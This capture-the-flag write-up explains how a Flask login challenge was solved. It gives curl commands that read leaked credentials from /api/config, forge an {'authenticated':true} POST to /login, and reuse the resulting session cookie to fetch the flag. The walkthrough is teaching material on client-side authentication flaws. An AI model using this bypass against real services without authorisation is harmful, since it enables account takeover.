Super Secure Server

Platform: broncoctf2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-11 | Status: Solved Techniques: client_side_auth_bypass, client_side_js_review, exposed_config_endpoint, session_cookie_reuse

Summary

Task: Flask login API that performs all authentication on the client side. Solution: read /api/config to leak the credentials, then bypass auth entirely by POSTing {"authenticated":true} to /login (server trusts the client-asserted flag) and reuse the session cookie on /flag.

Super Secure Server — broncoctf2026

Description

I just finished developing my very first API to handle secure logins to my very own website! To keep things extra secure, I won't even tell you my username, so now there's really no way you can hack me!

A Flask login page (Server header Werkzeug/3.1.8 Python/3.14.6) where all authentication logic lives in client-side JavaScript. Two fatal flaws let us authenticate without knowing (or even needing) any credentials.

Analysis

GET / returns an HTML login form plus inline JavaScript that:

1. Fetches /api/config and stores data.username / data.password.
2. On submit, compares the typed username/password to the leaked values client-side (if (u === leakedUser && p === leakedPass)).
3. If they match, sends POST /login with JSON body { "authenticated": true } and follows data.redirect on success.

Inline JS excerpt:

 javascript read-only • copy allowed Copy
fetch('/api/config').then(res=>res.json()).then(data=>{
  leakedUser = data.username;
  leakedPass = data.password;
  ...
  if (u === leakedUser && p === leakedPass) {
    fetch('/login', { method:'POST', headers:{'Content-Type':'application/json'},
      body: JSON.stringify({ authenticated: true }) })
    .then(res=>res.json()).then(data=>{ if(data.success) window.location.href = data.redirect; })
  }
});

Two flaws:

• Flaw #1 — credential exposure via /api/config. The endpoint hands the real username and password to any client, defeating the "I won't tell you my username" premise.
• Flaw #2 — broken server-side authentication. /login never verifies the credentials; it only checks that the JSON body asserts authenticated: true. The client-side comparison is decorative — the server trusts whatever the client says.

Solution

Step 1 — Leak the credentials (Flaw #1)

 bash read-only • copy allowed Copy
curl -s https://broncoctf-super-secure-server.chals.io/api/config

 json read-only • copy allowed Copy
{"password":"rji32orj932r3209r233sqmet4v2cxbns8","username":"SuperSecretUser"}

Step 2 — Bypass auth entirely (Flaw #2)

Skip the client-side comparison and directly assert authentication. This issues a session cookie:

 bash read-only • copy allowed Copy
curl -sk -c cookies.txt -H 'Content-Type: application/json' \
     -d '{"authenticated":true}' \
     https://broncoctf-super-secure-server.chals.io/login

 json read-only • copy allowed Copy
{"redirect":"/flag","success":true}

Step 3 — Retrieve the flag

 bash read-only • copy allowed Copy
curl -sk -b cookies.txt https://broncoctf-super-secure-server.chals.io/flag

The page renders Welcome back, SuperSecretUser! and:

Here is your flag: bronco{REDACTED}